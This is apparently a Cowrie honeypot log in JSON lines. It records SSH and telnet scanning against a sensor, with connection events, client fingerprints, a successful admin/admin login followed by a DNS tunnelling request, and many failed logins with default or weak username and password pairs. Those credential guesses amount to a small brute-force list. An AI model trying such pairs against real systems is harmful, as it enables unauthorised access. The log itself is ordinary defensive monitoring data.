{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.441889Z","src_ip":"159.203.92.129","session":"ff32667f37e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.446612Z","src_ip":"159.203.92.129","session":"ff32667f37e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.459910Z","src_ip":"159.203.92.129","session":"ff32667f37e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.976520Z","src_ip":"117.247.23.131","session":"266a5905ea77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:56.467267Z","src_ip":"159.203.92.129","session":"ff32667f37e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin123","message":"login attempt [admin2/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:58.917780Z","src_ip":"117.247.23.131","session":"266a5905ea77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:02.365388Z","src_ip":"117.247.23.131","session":"266a5905ea77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01114082336426,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:24.591970Z","src_ip":"167.250.105.129","session":"1ca52b05275e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00211024284363,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:32.772200Z","src_ip":"167.250.105.129","session":"f092c40c78af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":12621,"dst_ip":"159.203.135.109","dst_port":23,"session":"75d044981b51","protocol":"telnet","message":"New connection: 167.250.105.129:12621 (159.203.135.109:23) [session: 75d044981b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:34.359398Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":7880,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa725f64e58","protocol":"telnet","message":"New connection: 167.250.105.129:7880 (159.203.135.109:23) [session: 0fa725f64e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:37.777903Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44504,"dst_ip":"159.203.135.109","dst_port":22,"session":"df742898151f","protocol":"ssh","message":"New connection: 159.203.92.129:44504 (159.203.135.109:22) [session: df742898151f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:40.059480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:40.064411Z","src_ip":"159.203.92.129","session":"df742898151f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:40.069023Z","src_ip":"159.203.92.129","session":"df742898151f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"0","message":"login attempt [admin1/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:40.081428Z","src_ip":"159.203.92.129","session":"df742898151f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:41.091581Z","src_ip":"159.203.92.129","session":"df742898151f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":17122,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e3913a294b6","protocol":"telnet","message":"New connection: 167.250.105.129:17122 (159.203.135.109:23) [session: 0e3913a294b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:48:43.231993Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57230,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a944acc4009","protocol":"ssh","message":"New connection: 87.251.64.176:57230 (10.17.0.5:22) [session: 0a944acc4009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:07.823444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:07.829199Z","src_ip":"87.251.64.176","session":"0a944acc4009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:07.931128Z","src_ip":"87.251.64.176","session":"0a944acc4009","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:08.221866Z","src_ip":"87.251.64.176","session":"0a944acc4009","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:08.320743Z","session":"0a944acc4009","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:08.421474Z","src_ip":"87.251.64.176","session":"0a944acc4009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:08.523629Z","src_ip":"87.251.64.176","session":"0a944acc4009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.161.24.4","src_port":47654,"dst_ip":"10.17.0.5","dst_port":23,"session":"9768b0097687","protocol":"telnet","message":"New connection: 107.161.24.4:47654 (10.17.0.5:23) [session: 9768b0097687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:13.208850Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"99da3c368449","protocol":"ssh","message":"New connection: 159.203.92.129:59062 (159.203.135.109:22) [session: 99da3c368449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:24.946476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:24.951573Z","src_ip":"159.203.92.129","session":"99da3c368449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:24.956702Z","src_ip":"159.203.92.129","session":"99da3c368449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1","message":"login attempt [admin1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:24.972323Z","src_ip":"159.203.92.129","session":"99da3c368449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:25.996840Z","src_ip":"159.203.92.129","session":"99da3c368449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":34294,"dst_ip":"159.203.135.109","dst_port":22,"session":"923811f6af14","protocol":"ssh","message":"New connection: 117.247.23.131:34294 (159.203.135.109:22) [session: 923811f6af14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:34.976059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:34.981441Z","src_ip":"117.247.23.131","session":"923811f6af14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:35.832821Z","src_ip":"117.247.23.131","session":"923811f6af14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lapochka","message":"login attempt [root/lapochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:39.081802Z","src_ip":"117.247.23.131","session":"923811f6af14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:40.867738Z","src_ip":"117.247.23.131","session":"923811f6af14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87824583053589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:49:44.086968Z","src_ip":"107.161.24.4","session":"9768b0097687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46856,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c9ba0f1f64","protocol":"ssh","message":"New connection: 159.203.92.129:46856 (159.203.135.109:22) [session: 92c9ba0f1f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:11.607775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:11.697278Z","src_ip":"159.203.92.129","session":"92c9ba0f1f64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:11.706108Z","src_ip":"159.203.92.129","session":"92c9ba0f1f64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"111111","message":"login attempt [admin1/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:12.037180Z","src_ip":"159.203.92.129","session":"92c9ba0f1f64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:13.102991Z","src_ip":"159.203.92.129","session":"92c9ba0f1f64","protocol":"ssh"}
